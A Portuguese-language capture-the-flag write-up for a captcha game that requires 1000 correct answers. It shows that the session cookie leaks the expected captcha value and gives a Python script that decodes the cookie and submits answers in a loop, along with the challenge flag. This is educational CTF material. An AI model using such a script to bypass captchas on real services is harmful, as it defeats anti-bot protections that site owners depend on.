Você é um robô? Me prove que não conseguindo 1000 pontos nesse jogo :]

@big0us

Format da flag: bCTF{xxx}
bCTF{60e01ab8b0d203cb8cfa2e5b1e4cd23d}

Nesse desafio, erámos colocados em uma situação em que teríamos que resolver um problema de captcha 1000 vezes para obter a flag. Portanto, foi necessário construir um script para se resolver esse problema.

Ao entrar na aplicação, nos deparamos com a seguinte interface:

center

Ao completar um captcha valido, um ponto era adicionado ao nosso score. Ao inspecionar os cookies do site, podemos ver que ele possui um Json Web Token, onde existe armazenado os seguintes valores:

{
  "last": "jlbl6y",
  "message": "",
  "record": 0,
  "score": 2
}

Fica claro que o valor last é o valor do captcha que temos que resolver. Para conseguir a flag, bastou utilizar o script:

import base64
import requests
import json
 
def pad_base64(data):
    """Ensure base64 data is correctly padded."""
    return data + "=" * ((4 - len(data) % 4) % 4)
 
def get_last_from_cookie(session, url):
    """Extract the 'last' value from the cookie."""
    session.get(url)
    cookieB64 = session.cookies.get("session").split(".")[0]
    cookieB64 = pad_base64(cookieB64)
    
    try:
        cookie = base64.b64decode(cookieB64).decode("utf-8")
        info = json.loads(cookie)
        return info['last']
    except Exception as e:
        print(f"Error decoding or parsing cookie: {e}")
        return None
 
def main():
    url = "https://captchagame-7jktu72cma-uc.a.run.app"
    session = requests.Session()
    
    last_value = get_last_from_cookie(session, url)
    if not last_value:
        return
 
    data = {
        "response": last_value
    }
    
    for i in range(1001):
        try:
            res = session.post(url, data=data)
            last_value = get_last_from_cookie(session, url)
            if not last_value:
                break
            
            print(f"[{i}] {last_value}")
            data["response"] = last_value
        except requests.RequestException as e:
            print(f"Error with request on iteration {i}: {e}")
            break
 
    print(res.text)
 
if __name__ == "__main__":
    main()

Assim, podemos obter o seguinte desfecho:

center Com o final: